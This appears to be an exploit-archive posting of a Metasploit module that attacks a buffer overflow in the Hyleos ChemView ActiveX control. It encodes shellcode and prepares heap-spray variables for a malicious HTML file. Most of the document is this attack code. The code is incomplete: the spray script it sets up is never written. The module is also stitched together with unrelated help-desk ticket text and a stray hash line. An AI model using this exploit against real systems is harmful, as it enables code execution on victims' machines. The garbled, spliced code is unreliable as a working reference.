This Metasploit module exploits a stack-based buffer overflow within HyleosChemView.ocx of Hyleos ChemView 1.9.5.1. By setting an overly long value to 'SaveAsMolFile()', an attacker can overrun a buffer and execute arbitrary code.
2111452c07f6f459fec0e621e32b38716a36704b4edb3b7e1ad40e65a3148000New Ticket: (No Subject)
# Exploit Title: Hyleos ChemView 1.9.5.1 (HyleosChemView.ocx) Heap Spray Exploit (meta)
# Date: 10/02/2010
# Author: Dz_attacker
# Download : http://www.hyleos.net/download/chemView.1.9.5.exe
# Tested on: Windows xp sp3
# Code :
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Hyleos ChemView ActiveX Control Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack-based buffer overflow within HyleosChemView.ocx of Hyleos ChemView 1.9.5.1
By setting an overly long value to 'SaveAsMolFile()', an attacker can overrun a buffer
and execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Dz_attacker <dz_attacker[at]hotmail.fr>'
],
'References' =>
[
[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0a\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]
],
'DisclosureDate' => 'Feb 11 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),
], self.class)
end
def exploit
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x40000
fillto = 300
offset = target['Offset']
# Randomize the javascript variable names
chemview = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_ret = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
html = %Q|<html>
<object classid='clsid:C372350A-1D5A-44DC-A759-767FC553D96C' id='#{chemview}'></object>
</html>|
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(html)
end
end
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Ticket Details
===================
Ticket ID: NEL-923067
Department: Exploits
Priority: Medium
Status: Open
Link: http://ph33rus.offsec.com/3874623487438734587634/staff/index.php?_m=tickets&_a=viewticket&ticketid=1953
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